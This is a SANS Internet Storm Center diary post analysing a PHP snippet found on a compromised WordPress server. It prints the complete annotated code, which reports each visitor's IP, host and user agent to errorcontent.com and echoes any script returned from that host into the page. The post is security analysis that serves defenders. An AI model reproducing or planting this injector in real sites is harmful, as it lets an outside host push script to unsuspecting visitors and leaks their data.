SANS ISC: Possible Wordpress Botnet C&C: errorcontent.com - SANS Internet Storm Center

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Thanks to one of our readers, for sending us this snipped of PHP he found on a Wordpress server (I added some line breaks and comments in red for readability):

#2b8008#   <-- no idea what this hex value does. I modified it in case it identifies the user submitting this to us.
error_reporting(0); /* turn off error reporting */
@ini_set('display_errors',0);  /* do not display errors to the user */
$wp_mezd8610 = @$_SERVER['HTTP_USER_AGENT']; /* retrieve the user agent string */

/* only run the code if this is Chrome or IE and not a "bot" */

if (( preg_match ('/Gecko|MSIE/i', $wp_mezd8610) && !preg_match ('/bot/i', $wp_mezd8610)))
{  

# Assemble a URL like http://errorcontent.com/content?ip=[client ip]&referer=[server host name]&ua=[user agent]

  $wp_mezd098610="http://"."error"."content".".com/"."content"."/?  ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_mezd8610);

# check if we have the curl extension installed 

if (function_exists('curl_init') && function_exists('curl_exec')) {

$ch= curl_init();
curl_setopt ($ch, CURLOPT_URL,$wp_mezd098610);
curl_setopt ($ch, CURLOPT_TIMEOUT, 20);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$wp_8610mezd = curl_exec ($ch);
curl_close($ch);}

# if we don't have curl, try file_get_contents which requires allow_url_fopen.

elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_8610mezd = @file_get_contents($wp_mezd098610);}

# or try fopen as a last resort
​elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_8610mezd=@stream_get_contents(@fopen($wp_mezd098610, "r"));}}

if (substr($wp_8610mezd,1,3) === 'scr'){ echo $wp_8610mezd; }

# The data retrieved will be echoed back to the user if it starts with the string "scr".

I haven't been able to retrieve any content from errorcontent.com. Has anybody else seen this code, or is able to retrieve content from errorcontent.com ?

According to whois, errorcontent.com is owned by a Chinese organization. It currently resolves to 37.1.207.26, which is owned by a british ISP. Any help as to the nature of this snippet will be appreciated.

---
Johannes B. Ullrich, Ph.D.
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